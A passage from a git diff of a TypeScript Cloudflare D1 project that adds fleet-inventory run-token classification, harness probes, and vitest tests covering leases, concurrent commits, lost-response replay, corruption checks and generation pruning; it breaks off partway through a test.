!UUID_V4.test(candidate.operationId) || + !safeIntegerAtLeast(candidate.revision) + ) { + throw new FleetInventoryRunTokenError(); + } + return { + version: 1, + operationId: candidate.operationId, + revision: candidate.revision, + }; +} + +/** + * Throws `FleetInventoryRunTokenError` for a malformed token, then + * `FleetInventoryRunTokenOperationError` when the run is absent or belongs to + * another operation, then `FleetInventoryRunTokenFutureError` when the token is + * ahead of the persisted progress; otherwise returns `current` on equality and + * `stale` when the token is behind. Account identity is trusted config, so a + * foreign token simply misses its run row. + */ +export function classifyFleetInventoryRunToken( + token: FleetInventoryRunToken, + run: FleetInventoryRunRecord | undefined, +): 'current' | 'stale' { + const parsed = parseFleetInventoryRunToken(token); + if (!run || run.operationId !== parsed.operationId) { + throw new FleetInventoryRunTokenOperationError(parsed.operationId); + } + if (parsed.revision > run.progress.revision) { + throw new FleetInventoryRunTokenFutureError(); + } + return parsed.revision === run.progress.revision ? 'current' : 'stale'; +} diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 35fc6d86..12e47c26 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -7,8 +7,18 @@ import { } from '../../src/application-bindings.js'; import { D1CloudflareApiRateCoordinator } from '../../src/cloudflare-rate-coordinator.js'; import { initialWorkerAttachmentScan } from '../../src/cloudflare-worker-attachment-scan-state.js'; +import { D1FleetInventoryRunStore } from '../../src/d1-fleet-inventory-run-store.js'; import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; import { advanceDecommissionDeployment } from '../../src/decommission-advance.js'; +import { + canonicalFleetInventoryRunOptions, + emptyFleetInventoryRowCounts, + type FleetInventoryRowKind, + type FleetInventoryRunRecord, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + fleetInventoryOptionsDigest, +} from '../../src/fleet-inventory-state.js'; import { canonicalDeploymentEgressPolicy, externalEgressProxyScriptName, @@ -2537,6 +2547,589 @@ async function coldConcurrentSchemaInitialization( }; } +const INVENTORY_TABLES = [ + 'anchorage_fleet_inventory_deployment_facts', + 'anchorage_fleet_inventory_heads', + 'anchorage_fleet_inventory_leases', + 'anchorage_fleet_inventory_pins', + 'anchorage_fleet_inventory_rows', + 'anchorage_fleet_inventory_runs', +]; +const INVENTORY_LEASE_TABLE = 'anchorage_fleet_inventory_leases'; +const INVENTORY_ACCOUNT = 'account-inventory'; +const INVENTORY_OPTIONS = canonicalFleetInventoryRunOptions({ + hostRoutingKvId: 'kv-host-routing', + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', +}); +const INVENTORY_DIGEST = fleetInventoryOptionsDigest(INVENTORY_OPTIONS); + +function inventoryOperationId(index: number): string { + return `123e4567-e89b-42d3-a456-42661417${String(4200 + index)}`; +} + +function inventoryStore( + database: FleetStateDatabase, +): D1FleetInventoryRunStore { + return new D1FleetInventoryRunStore(database, { + accountId: INVENTORY_ACCOUNT, + }); +} + +async function readyInventoryStore( + db: D1Database, +): Promise { + const store = inventoryStore(new D1FleetStateDatabase(db)); + await store.latestFinalizedGeneration(); + for (const table of INVENTORY_TABLES) { + await db.prepare(`DELETE FROM ${table}`).run(); + } + return store; +} + +/** Drops the next batch's result rows, reproducing a lost D1 response. */ +function inventoryLostResponse( + delegate: FleetStateDatabase, +): FleetStateDatabase & Readonly<{ loseNextBatch(): void }> { + let lose = false; + return { + query: (sql, bindings) => delegate.query(sql, bindings), + execute: (sql, bindings) => delegate.execute(sql, bindings), + async batch(statements) { + const results = await delegate.batch(statements); + if (!lose) return results; + lose = false; + return results.map(() => []); + }, + loseNextBatch() { + lose = true; + }, + }; +} + +function inventoryRows(label: string): readonly FleetInventoryStagedRow[] { + return [ + { kind: 'registration', ordinal: 0, payload: { scriptName: label } }, + { kind: 'deployment', ordinal: 0, payload: { scriptName: label } }, + { + kind: 'finding', + ordinal: 0, + payload: { detail: `stale route ${label}` }, + }, + ]; +} + +function inventoryFacts(): readonly FleetInventoryStagedFact[] { + return [ + { + deploymentOrdinal: 0, + factKind: 'secret-name', + factOrdinal: 0, + payload: { name: 'ANCHORAGE_NAME_0' }, + }, + ]; +} + +function inventoryCounts( + rows: readonly FleetInventoryStagedRow[], +): Record { + const counts = emptyFleetInventoryRowCounts() as Record< + FleetInventoryRowKind, + number + >; + for (const row of rows) counts[row.kind] += 1; + return counts; +} + +function inventoryCommitted( + record: FleetInventoryRunRecord, + rows: readonly FleetInventoryStagedRow[], + facts: readonly FleetInventoryStagedFact[], +): FleetInventoryRunRecord { + return { + ...record, + progress: { + ...record.progress, + stage: { step: 'finalize' }, + revision: record.progress.revision + 1, + stagedCounts: inventoryCounts(rows), + factCount: facts.length, + providerRequests: record.progress.providerRequests + 1, + }, + updatedAt: '2026-08-29T00:00:00.000Z', + }; +} + +async function seedInventoryGeneration( + store: D1FleetInventoryRunStore, + index: number, + rows: readonly FleetInventoryStagedRow[] = inventoryRows(`gen-${index}`), + facts: readonly FleetInventoryStagedFact[] = inventoryFacts(), +): Promise { + const operationId = inventoryOperationId(index); + return store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const record = await lease.commitChunk({ + operationId, + expectedRevision: started.progress.revision, + runRecord: inventoryCommitted(started, rows, facts), + rows, + facts, + }); + const ref = await lease.finalizeRun({ + operationId, + expectedRevision: record.progress.revision, + manifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }); + return ref.generation; + }); +} + +async function inventoryStartAtomicity(db: D1Database): Promise { + await readyInventoryStore(db); + const operationId = inventoryOperationId(0); + const stores = Array.from({ length: 16 }, () => + inventoryStore(new D1FleetStateDatabase(db)), + ); + const attempts = await Promise.allSettled( + stores.map((store) => + store.withAccountInventoryLease((lease) => + lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }), + ), + ), + ); + const head = await db + .prepare( + `SELECT active_operation_id, latest_finalized_generation, next_generation + FROM anchorage_fleet_inventory_heads WHERE account_id = ?`, + ) + .bind(INVENTORY_ACCOUNT) + .first<{ + active_operation_id: string | null; + latest_finalized_generation: number | null; + next_generation: number; + }>(); + const run = await db + .prepare( + `SELECT operation_id, generation, options_digest, finalized_at_ms + FROM anchorage_fleet_inventory_runs WHERE account_id = ?`, + ) + .bind(INVENTORY_ACCOUNT) + .all<{ + operation_id: string; + generation: number; + options_digest: string; + finalized_at_ms: number | null; + }>(); + return { + started: attempts.filter((attempt) => attempt.status === 'fulfilled') + .length, + rejected: attempts.filter((attempt) => attempt.status === 'rejected') + .length, + head: { + activeOperationId: head?.active_operation_id ?? null, + latestFinalizedGeneration: head?.latest_finalized_generation ?? null, + nextGeneration: Number(head?.next_generation), + }, + runs: run.results.map((row) => ({ + operationId: row.operation_id, + generation: Number(row.generation), + digestMatches: row.options_digest === INVENTORY_DIGEST, + finalized: row.finalized_at_ms !== null, + })), + generation: + run.results.length === 1 ? Number(run.results[0]?.generation) : 0, + }; +} + +async function inventoryCommitConcurrency(db: D1Database): Promise { + const store = await readyInventoryStore(db); + const operationId = inventoryOperationId(1); + // The account lease serializes lease HOLDERS, so the guarded commit batch can + // only be raced by concurrent calls under one lease. Concurrency is expressed + // exactly like coldConcurrentSchemaInitialization: Promise.allSettled over N + // writers inside the one request. + return store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const shared = inventoryRows('race'); + const writers = Array.from({ length: 16 }, (_unused, index) => { + const rows = [ + ...shared, + { kind: 'meta' as const, ordinal: index, payload: { writer: index } }, + ]; + const base = inventoryCommitted(started, rows, []); + return { + operationId, + expectedRevision: started.progress.revision, + // Each writer's intended record differs, so the winner is the writer + // whose own record the guarded UPDATE persisted. + runRecord: { + ...base, + progress: { ...base.progress, providerRequests: index + 1 }, + }, + rows, + facts: [] as readonly FleetInventoryStagedFact[], + }; + }); + const settled = await Promise.allSettled( + writers.map((input) => lease.commitChunk(input)), + ); + const outcomes = settled.map((result, index) => { + if (result.status === 'rejected') { + return { + index, + outcome: (result.reason as Error).message.includes('diverge') + ? 'corrupt' + : 'conflict', + }; + } + const intended = JSON.stringify(writers[index]?.runRecord); + return { + index, + outcome: + JSON.stringify(result.value) === intended ? 'committed' : 'converged', + }; + }); + const winner = outcomes.find((entry) => entry.outcome === 'committed'); + const winning = writers[winner?.index ?? -1]; + if (!winning) throw new Error('inventory commit race had no winner'); + // The winner's own replay is the lost-response case: its rows are already + // present byte-identically at the intended revision, so it converges on the + // persisted record without advancing the revision a second time. + const beforeReplay = (await store.readRunByOperation(operationId))?.progress + .revision; + const replayResult = await lease.commitChunk(winning).then( + (record) => JSON.stringify(record) === JSON.stringify(winning.runRecord), + () => false, + ); + const afterReplay = (await store.readRunByOperation(operationId))?.progress + .revision; + const lostResponseReplay = + replayResult && beforeReplay === afterReplay ? 'converged' : 'conflict'; + const persisted = await store.readRunByOperation(operationId); + if (!persisted) throw new Error('inventory commit race lost its run'); + const trailing = { + kind: 'meta' as const, + ordinal: 100, + payload: { writer: 'trailing' }, + }; + const advanced = await lease.commitChunk({ + operationId, + expectedRevision: persisted.progress.revision, + runRecord: inventoryCommitted(persisted, [...shared, trailing], []), + rows: [trailing], + facts: [], + }); + const replayed = writers[0]; + if (!replayed) throw new Error('inventory commit race had no writer'); + const staleReplay = await lease.commitChunk(replayed).then( + () => 'committed', + (error: unknown) => + (error as Error).message.includes('no longer at the expected revision') + ? 'conflict' + : 'other', + ); + const counts = await db + .prepare( + `SELECT kind, COUNT(*) AS count FROM anchorage_fleet_inventory_rows + WHERE account_id = ? AND generation = ? GROUP BY kind ORDER BY kind`, + ) + .bind(INVENTORY_ACCOUNT, started.progress.generation) + .all<{ kind: string; count: number }>(); + return { + committed: outcomes.filter((entry) => entry.outcome === 'committed') + .length, + converged: outcomes.filter((entry) => entry.outcome === 'converged') + .length, + conflicts: outcomes.filter((entry) => entry.outcome === 'conflict') + .length, + corrupt: outcomes.filter((entry) => entry.outcome === 'corrupt').length, + winnerIsWriter: typeof winner?.index === 'number', + lostResponseReplay, + revision: advanced.progress.revision, + staleReplay, + rowCounts: counts.results.map((row) => ({ + kind: row.kind, + count: Number(row.count), + })), + }; + }); +} + +async function inventoryFinalizeConvergence(db: D1Database): Promise { + await readyInventoryStore(db); + const database = inventoryLostResponse(new D1FleetStateDatabase(db)); + const store = inventoryStore(database); + const operationId = inventoryOperationId(2); + const rows = inventoryRows('finalize'); + const facts = inventoryFacts(); + const refs = await store.withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + const record = await lease.commitChunk({ + operationId, + expectedRevision: started.progress.revision, + runRecord: inventoryCommitted(started, rows, facts), + rows, + facts, + }); + const input = { + operationId, + expectedRevision: record.progress.revision, + manifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }; + database.loseNextBatch(); + const first = await lease.finalizeRun(input); + const replayed = await lease.finalizeRun(input); + return { first, replayed }; + }); + const head = await db + .prepare( + `SELECT active_operation_id, latest_finalized_generation + FROM anchorage_fleet_inventory_heads WHERE account_id = ?`, + ) + .bind(INVENTORY_ACCOUNT) + .first<{ + active_operation_id: string | null; + latest_finalized_generation: number | null; + }>(); + return { + first: refs.first, + replayed: refs.replayed, + identical: JSON.stringify(refs.first) === JSON.stringify(refs.replayed), + head: { + activeOperationId: head?.active_operation_id ?? null, + latestFinalizedGeneration: head?.latest_finalized_generation ?? null, + }, + }; +} + +async function inventoryGenerationReadback(db: D1Database): Promise { + const store = await readyInventoryStore(db); + const generation = await seedInventoryGeneration(store, 3); + const read = await store.readFinalizedGeneration(generation); + const latest = await store.latestFinalizedGeneration(); + return { + ref: read.ref, + latestMatches: JSON.stringify(latest) === JSON.stringify(read.ref), + rowOrdinals: read.rows.map((row) => `${row.kind}:${row.ordinal}`), + factOrdinals: read.facts.map( + (fact) => + `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`, + ), + }; +} + +async function inventoryCorruptUnreadable(db: D1Database): Promise { + const store = await readyInventoryStore(db); + const generation = await seedInventoryGeneration(store, 4); + await db + .prepare( + `DELETE FROM anchorage_fleet_inventory_rows + WHERE account_id = ? AND generation = ? AND kind = 'finding'`, + ) + .bind(INVENTORY_ACCOUNT, generation) + .run(); + const readError = await store.readFinalizedGeneration(generation).then( + () => null, + (error: unknown) => errorShape(error), + ); + const operationId = inventoryOperationId(5); + const rows = inventoryRows('mismatch'); + const facts = inventoryFacts(); + const finalizeError = await store + .withAccountInventoryLease(async (lease) => { + const started = await lease.startRun({ + operationId, + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }); + // The persisted record claims more findings than the rows it staged, so + // finalize's in-SQL count guard is what refuses. + const overstated = inventoryCommitted(started, rows, facts); + const record = await lease.commitChunk({ + operationId, + expectedRevision: started.progress.revision, + runRecord: { + ...overstated, + progress: { + ...overstated.progress, + stagedCounts: { ...overstated.progress.stagedCounts, finding: 9 }, + }, + }, + rows, + facts, + }); + return lease.finalizeRun({ + operationId, + expectedRevision: record.progress.revision, + manifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }); + }) + .then( + () => null, + (error: unknown) => errorShape(error), + ); + const run = await store.readRunByOperation(operationId); + return { + readError, + finalizeError, + stateAfterFinalize: run?.state ?? null, + latestGeneration: + (await store.latestFinalizedGeneration())?.generation ?? null, + }; +} + +async function inventoryPruneOrder(db: D1Database): Promise { + const store = await readyInventoryStore(db); + for (const index of [10, 11, 12, 13]) { + await seedInventoryGeneration(store, index); + } + await store.pinGeneration({ generation: 2, pinnedBy: 'audit' }); + const deleted = [ + await store.pruneInventoryGenerations({ limit: 1 }), + await store.pruneInventoryGenerations({ limit: 1 }), + await store.pruneInventoryGenerations({ limit: 10 }), + ]; + const pinnedSurvives = (await store.readFinalizedGeneration(2)).ref + .generation; + await store.releasePin({ generation: 2, pinnedBy: 'audit' }); + deleted.push(await store.pruneInventoryGenerations({ limit: 10 })); + const surviving = await db + .prepare( + `SELECT generation FROM anchorage_fleet_inventory_runs + WHERE account_id = ? ORDER BY generation`, + ) + .bind(INVENTORY_ACCOUNT) + .all<{ generation: number }>(); + const rows = await db + .prepare( + `SELECT DISTINCT generation FROM anchorage_fleet_inventory_rows + WHERE account_id = ? ORDER BY generation`, + ) + .bind(INVENTORY_ACCOUNT) + .all<{ generation: number }>(); + return { + deleted: deleted.map((entry) => entry.deleted), + pinnedSurvives, + surviving: surviving.results.map((row) => Number(row.generation)), + survivingRowGenerations: rows.results.map((row) => Number(row.generation)), + }; +} + +async function inventoryLeaseLifecycle(db: D1Database): Promise { + await readyInventoryStore(db); + await db + .prepare( + `INSERT INTO ${INVENTORY_LEASE_TABLE} (account_id, owner_token, expires_at) + VALUES (?, 'abandoned-token', 1)`, + ) + .bind(INVENTORY_ACCOUNT) + .run(); + const takeover = await inventoryStore(new D1FleetStateDatabase(db)) + .withAccountInventoryLease(async (lease) => { + await lease.assertOwned(); + return 'acquired'; + }) + .catch((error: unknown) => errorShape(error)); + const clock = controlledLeaseClock(db, INVENTORY_LEASE_TABLE); + const store = new D1FleetInventoryRunStore(clock.database, { + accountId: INVENTORY_ACCOUNT, + leaseTtlMs: 2_500, + leaseRenewalIntervalMs: 1, + }); + let contenderRejected = false; + await store.withAccountInventoryLease(async () => { + const original = await clock.database.query( + `SELECT expires_at FROM ${INVENTORY_LEASE_TABLE} WHERE account_id = ?`, + [INVENTORY_ACCOUNT], + ); + const originalExpiresAt = Number(original[0]?.expires_at); + if (!Number.isFinite(originalExpiresAt)) { + throw new Error('inventory lease did not expose its original expiry'); + } + clock.advance(2_000); + clock.allowHeartbeat(); + await clock.heartbeat; + clock.advance(600); + try { + await new D1FleetInventoryRunStore(clock.database, { + accountId: INVENTORY_ACCOUNT, + leaseTtlMs: 2_500, + leaseRenewalIntervalMs: 1, + }).withAccountInventoryLease(async () => {}); + } catch { + contenderRejected = true; + } + if (clock.now() <= originalExpiresAt) { + throw new Error('controlled D1 time did not pass the original expiry'); + } + }); + const remaining = await db + .prepare(`SELECT COUNT(*) AS count FROM ${INVENTORY_LEASE_TABLE}`) + .first<{ count: number }>(); + return { + takeover, + heartbeatObserved: true, + contenderRejected, + leasesAfterRelease: Number(remaining?.count), + }; +} + +async function inventoryColdConcurrentSchema(db: D1Database): Promise { + const stores = Array.from({ length: 16 }, () => + inventoryStore(new D1FleetStateDatabase(db)), + ); + const latest = await Promise.all( + stores.map((store) => store.latestFinalizedGeneration()), + ); + const columns: Record = {}; + for (const table of INVENTORY_TABLES) { + const rows = await db + .prepare(`PRAGMA table_info(${table})`) + .all<{ name: string; type: string }>(); + columns[table] = rows.results.map((row) => `${row.name}:${row.type}`); + } + const tables = await db + .prepare( + `SELECT name FROM sqlite_master + WHERE type = 'table' AND name LIKE 'anchorage_fleet_inventory_%' + ORDER BY name`, + ) + .all<{ name: string }>(); + const started = await stores[0]?.withAccountInventoryLease((lease) => + lease.startRun({ + operationId: inventoryOperationId(20), + options: INVENTORY_OPTIONS, + optionsDigest: INVENTORY_DIGEST, + }), + ); + return { + latest: latest.filter((entry) => entry === undefined).length, + columns, + tables: tables.results.map((row) => row.name), + generation: started?.progress.generation ?? null, + }; +} + async function cloudflareRateCoordination(db: D1Database): Promise { await db .prepare('DROP TABLE IF EXISTS anchorage_cloudflare_api_rate_reservations') @@ -2658,6 +3251,22 @@ export default { return Response.json( await coldConcurrentSchemaInitialization(env.DB), ); + case 'inventory-start-atomicity': + return Response.json(await inventoryStartAtomicity(env.DB)); + case 'inventory-commit-concurrency': + return Response.json(await inventoryCommitConcurrency(env.DB)); + case 'inventory-finalize-convergence': + return Response.json(await inventoryFinalizeConvergence(env.DB)); + case 'inventory-generation-readback': + return Response.json(await inventoryGenerationReadback(env.DB)); + case 'inventory-corrupt-unreadable': + return Response.json(await inventoryCorruptUnreadable(env.DB)); + case 'inventory-prune-order': + return Response.json(await inventoryPruneOrder(env.DB)); + case 'inventory-lease-lifecycle': + return Response.json(await inventoryLeaseLifecycle(env.DB)); + case 'inventory-cold-concurrent-schema': + return Response.json(await inventoryColdConcurrentSchema(env.DB)); default: return Response.json({ error: 'unknown action' }, { status: 400 }); } diff --git a/packages/fleet-control/test/fleet-inventory-run-store.test.ts b/packages/fleet-control/test/fleet-inventory-run-store.test.ts new file mode 100644 index 00000000..4b780f80 --- /dev/null +++ b/packages/fleet-control/test/fleet-inventory-run-store.test.ts @@ -0,0 +1,867 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { D1FleetInventoryRunStore } from '../src/d1-fleet-inventory-run-store.js'; +import { + canonicalFleetInventoryRunOptions, + emptyFleetInventoryRowCounts, + type FleetInventoryLease, + type FleetInventoryRowKind, + type FleetInventoryRunRecord, + type FleetInventoryStage, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + fleetInventoryOptionsDigest, + InventoryFindingValueError, +} from '../src/fleet-inventory-state.js'; +import type { FleetStateDatabase } from '../src/state-store.js'; + +interface SqliteStatement { + all(...bindings: readonly unknown[]): Readonly>[]; +} + +interface SqliteDatabase { + prepare(sql: string): SqliteStatement; + exec(sql: string): void; +} + +function openSqlite(): SqliteDatabase { + // getBuiltinModule avoids vite's resolver, which cannot resolve node:sqlite; + // node:sqlite has been unflagged since Node 22.13. + const getBuiltin = ( + globalThis as { + process?: { getBuiltinModule?: (id: string) => unknown }; + } + ).process?.getBuiltinModule; + if (!getBuiltin) { + throw new Error('node:sqlite unavailable — tests require node >= 22.13'); + } + const sqlite = getBuiltin('node:sqlite') as { + DatabaseSync: new (path: string) => SqliteDatabase; + }; + return new sqlite.DatabaseSync(':memory:'); +} + +/** + * Fake fleet state database port. It executes the store's real SQL, so every + * guard, `json_extract` comparison, and count subquery is exercised, and a + * batch is atomic exactly as the port contract promises. + */ +class MemoryD1 implements FleetStateDatabase { + readonly sqlite = openSqlite(); + /** Statements the next batch drops after committing, for lost responses. */ + hideBatchResults = false; + + async query( + sql: string, + bindings: readonly unknown[] = [], + ): Promise>[]> { + return this.sqlite.prepare(sql).all(...bindings); + } + + async execute(sql: string, bindings: readonly unknown[] = []): Promise { + this.sqlite.prepare(sql).all(...bindings); + } + + async batch( + statements: readonly Readonly<{ + sql: string; + bindings?: readonly unknown[]; + }>[], + ): Promise>[])[]> { + if (statements.length === 0) return []; + const results: Readonly>[][] = []; + this.sqlite.exec('BEGIN IMMEDIATE'); + try { + for (const { sql, bindings = [] } of statements) { + results.push(this.sqlite.prepare(sql).all(...bindings)); + } + this.sqlite.exec('COMMIT'); + } catch (error) { + this.sqlite.exec('ROLLBACK'); + throw error; + } + if (this.hideBatchResults) { + this.hideBatchResults = false; + return results.map(() => []); + } + return results; + } +} + +const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; +const SECOND_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174001'; +const THIRD_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174002'; +const OPTIONS = canonicalFleetInventoryRunOptions({ + hostRoutingKvId: 'kv-host-routing', + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', +}); +const DIGEST = fleetInventoryOptionsDigest(OPTIONS); +const OTHER_OPTIONS = canonicalFleetInventoryRunOptions({ + databaseNamePrefix: 'anchorage-db', + scriptNamePrefix: 'anchorage', +}); +const OTHER_DIGEST = fleetInventoryOptionsDigest(OTHER_OPTIONS); +const TABLES = [ + 'anchorage_fleet_inventory_deployment_facts', + 'anchorage_fleet_inventory_heads', + 'anchorage_fleet_inventory_leases', + 'anchorage_fleet_inventory_pins', + 'anchorage_fleet_inventory_rows', + 'anchorage_fleet_inventory_runs', +]; + +function newStore( + db: MemoryD1, + accountId = 'account-primary', +): D1FleetInventoryRunStore { + return new D1FleetInventoryRunStore(db, { accountId }); +} + +function stagedRow( + kind: FleetInventoryRowKind, + ordinal: number, + payload: Readonly>, +): FleetInventoryStagedRow { + return { kind, ordinal, payload }; +} + +function stagedFact( + deploymentOrdinal: number, + factOrdinal: number, +): FleetInventoryStagedFact { + return { + deploymentOrdinal, + factKind: 'secret-name', + factOrdinal, + payload: { name: `ANCHORAGE_NAME_${factOrdinal}` }, + }; +} + +function countsOf( + rows: readonly FleetInventoryStagedRow[], +): Record { + const counts = emptyFleetInventoryRowCounts() as Record< + FleetInventoryRowKind, + number + >; + for (const row of rows) counts[row.kind] += 1; + return counts; +} + +function committed( + record: FleetInventoryRunRecord, + rows: readonly FleetInventoryStagedRow[], + facts: readonly FleetInventoryStagedFact[], + stage: FleetInventoryStage = { step: 'finalize' }, +): FleetInventoryRunRecord { + return { + ...record, + progress: { + ...record.progress, + stage, + revision: record.progress.revision + 1, + stagedCounts: countsOf(rows), + factCount: facts.length, + providerRequests: record.progress.providerRequests + 1, + }, + updatedAt: '2026-08-29T00:00:00.000Z', + }; +} + +function start( + lease: FleetInventoryLease, + operationId = OPERATION_ID, +): Promise { + return lease.startRun({ + operationId, + options: OPTIONS, + optionsDigest: DIGEST, + }); +} + +const DEFAULT_ROWS = [ + stagedRow('registration', 0, { scriptName: 'anchorage-tenant-prod' }), + stagedRow('deployment', 0, { scriptName: 'anchorage-tenant-prod' }), + stagedRow('finding', 0, { detail: 'stale route for anchorage-tenant-prod' }), +]; +const DEFAULT_FACTS = [stagedFact(0, 0), stagedFact(0, 1)]; +/** Generations read back in `(kind, ordinal)` order, the store's read order. */ +const DEFAULT_ROWS_READ_ORDER = [...DEFAULT_ROWS].sort((left, right) => + left.kind === right.kind + ? left.ordinal - right.ordinal + : left.kind < right.kind + ? -1 + : 1, +); + +async function seedGeneration( + store: D1FleetInventoryRunStore, + operationId = OPERATION_ID, + rows: readonly FleetInventoryStagedRow[] = DEFAULT_ROWS, + facts: readonly FleetInventoryStagedFact[] = DEFAULT_FACTS, +): Promise { + return store.withAccountInventoryLease(async (lease) => { + const started = await start(lease, operationId); + const record = await lease.commitChunk({ + operationId, + expectedRevision: started.progress.revision, + runRecord: committed(started, rows, facts), + rows, + facts, + }); + const ref = await lease.finalizeRun({ + operationId, + expectedRevision: record.progress.revision, + manifest: record.progress.stagedCounts, + factCount: record.progress.factCount, + }); + return ref.generation; + }); +} + +async function refusal(operation: Promise): Promise { + try { + await operation; + } catch (error) { + return error as Error; + } + throw new Error('operation unexpectedly resolved'); +} + +describe('D1FleetInventoryRunStore', () => { + it('creates the six inventory tables, verifies every column, and fails closed on drift', async () => { + const db = new MemoryD1(); + await newStore(db).latestFinalizedGeneration(); + const tables = db.sqlite + .prepare( + `SELECT name FROM sqlite_master + WHERE type = 'table' AND name LIKE 'anchorage_fleet_inventory_%' + ORDER BY name`, + ) + .all() + .map((row) => String(row.name)); + expect(tables).toEqual(TABLES); + const heads = db.sqlite + .prepare('PRAGMA table_info(anchorage_fleet_inventory_heads)') + .all() + .map((row) => `${String(row.name)}:${String(row.type)}`); + expect(heads).toEqual([ + 'account_id:TEXT', + 'active_operation_id:TEXT', + 'latest_finalized_generation:INTEGER', + 'next_generation:INTEGER', + ]); + + const drifted = new MemoryD1(); + drifted.sqlite.exec(`CREATE TABLE anchorage_fleet_inventory_pins ( + account_id TEXT NOT NULL, + generation TEXT NOT NULL, + pinned_by TEXT NOT NULL, + pinned_at_ms INTEGER NOT NULL, + PRIMARY KEY (account_id, generation, pinned_by) + )`); + const error = await refusal(newStore(drifted).latestFinalizedGeneration()); + expect(error.message).toBe( + "fleet inventory table 'anchorage_fleet_inventory_pins' column 'generation' is absent or incompatible", + ); + }); + + it('allocates a generation and claims the head when a run starts', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const started = await store.withAccountInventoryLease((lease) => + start(lease), + ); + expect(started).toMatchObject({ + version: 1, + operationId: OPERATION_ID, + optionsDigest: DIGEST, + state: 'staging', + }); + expect(started.progress.generation).toBe(1); + expect(started.progress.stage).toEqual({ step: 'host-kv-keys' }); + expect( + db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(), + ).toEqual([ + { + account_id: 'account-primary', + active_operation_id: OPERATION_ID, + latest_finalized_generation: null, + next_generation: 2, + }, + ]); + }); + + it('treats a replayed start as a no-op returning the same run', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const first = await store.withAccountInventoryLease((lease) => + start(lease), + ); + const replay = await store.withAccountInventoryLease((lease) => + start(lease), + ); + expect(replay).toEqual(first); + expect( + db.sqlite + .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_runs') + .all(), + ).toEqual([{ count: 1 }]); + expect( + db.sqlite + .prepare('SELECT next_generation FROM anchorage_fleet_inventory_heads') + .all(), + ).toEqual([{ next_generation: 2 }]); + }); + + it('conflicts when a start replays with a different options digest', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease((lease) => start(lease)); + const error = await refusal( + store.withAccountInventoryLease((lease) => + lease.startRun({ + operationId: OPERATION_ID, + options: OTHER_OPTIONS, + optionsDigest: OTHER_DIGEST, + }), + ), + ); + expect(error.message).toBe( + `fleet inventory run '${OPERATION_ID}' was started with different options`, + ); + }); + + it('contends when another operation already owns the head', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease((lease) => start(lease)); + const error = await refusal( + store.withAccountInventoryLease((lease) => + start(lease, SECOND_OPERATION_ID), + ), + ); + expect(error.message).toBe( + `fleet inventory for account 'account-primary' has an active operation other than '${SECOND_OPERATION_ID}'`, + ); + expect( + db.sqlite + .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_runs') + .all(), + ).toEqual([{ count: 1 }]); + }); + + it('refuses a chunk commit at a stale revision', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const error = await refusal( + store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const first = { + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS, { + step: 'ordinary-scripts', + }), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }; + const record = await lease.commitChunk(first); + const trailing = stagedRow('meta', 0, { stage: 'finalize' }); + await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: record.progress.revision, + runRecord: committed( + record, + [...DEFAULT_ROWS, trailing], + DEFAULT_FACTS, + ), + rows: [trailing], + facts: [], + }); + return lease.commitChunk(first); + }), + ); + expect(error.message).toBe( + `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`, + ); + }); + + it('converges when a chunk commit replays byte-identically', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const converged = await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const input = { + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }; + db.hideBatchResults = true; + const first = await lease.commitChunk(input); + const second = await lease.commitChunk(input); + return { first, second }; + }); + expect(converged.second).toEqual(converged.first); + expect( + db.sqlite + .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_inventory_rows') + .all(), + ).toEqual([{ count: DEFAULT_ROWS.length }]); + }); + + it('raises corruption when a chunk commit replays with divergent bytes', async () => { + const db = new MemoryD1(); + const store = newStore(db); + const error = await refusal( + store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const input = { + operationId: OPERATION_ID, + expectedRevision: started.progress.revision, + runRecord: committed(started, DEFAULT_ROWS, 